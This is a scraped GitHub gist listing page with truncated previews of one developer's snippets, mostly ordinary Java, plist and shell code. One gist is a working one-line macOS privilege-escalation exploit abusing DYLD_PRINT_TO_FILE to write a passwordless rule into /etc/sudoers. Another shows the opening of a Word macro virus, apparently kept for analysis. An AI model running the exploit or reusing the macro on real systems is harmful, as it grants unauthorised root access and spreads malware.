Skip to content

Instantly share code, notes, and snippets.


Sean Zhu szhu

Block or report user

Report or block szhu

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
szhu / oops.bash
Created Jul 23, 2015
DYLD_PRINT_TO_FILE vulerability
View oops.bash
echo python -c '"import os; os.write(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp
sudo su
import java.util.*;
class Animal { // implements Comparable<Animal> {
public String name;
public int age;
public Animal(String name, int age) { = name;
this.age = age;
szhu /
Created Jul 28, 2016
Force Squirrel/ShipIt update
/Applications/ io.webtorrent.webtorrent.ShipIt
verbose() {
echo "$@"
power-softrestart() {
verbose adb shell "su -c 'killall zygote'"
szhu / 1. Unobfuscated 11717.doc.vb
Created Jan 14, 2017
Word macro virus in received email
View 1. Unobfuscated 11717.doc.vb
Sub AutoOpen()
If (True) Then
If (True) Then
If (False) Then
If (False) Then
Select Case Empty
Case Empty
tyqegexl = False
View setup-background-screensaver.bash
# Set your desktop background to your screen saver.
# Install and activate with:
# curl -fsSL | bash
# The screen saver is visible only on desktops created before the screen saver
# was started. If you create a desktop and wish to see the screen saver on it
# immediately, just do:
# open -a ScreenSaverEngine
# to bring it in front of the default desktop background. You can also add
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.Collection;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
szhu / com.interestinglythere.sendtokindle.plist
Last active Mar 26, 2018
Small daemon to send documents to your Kindle and eject it every time it's connected
View com.interestinglythere.sendtokindle.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "">
<plist version="1.0">
# Backwards compatibility for fish 2.0.0
not contains source (builtin -n)
and alias source .
You can’t perform that action at this time.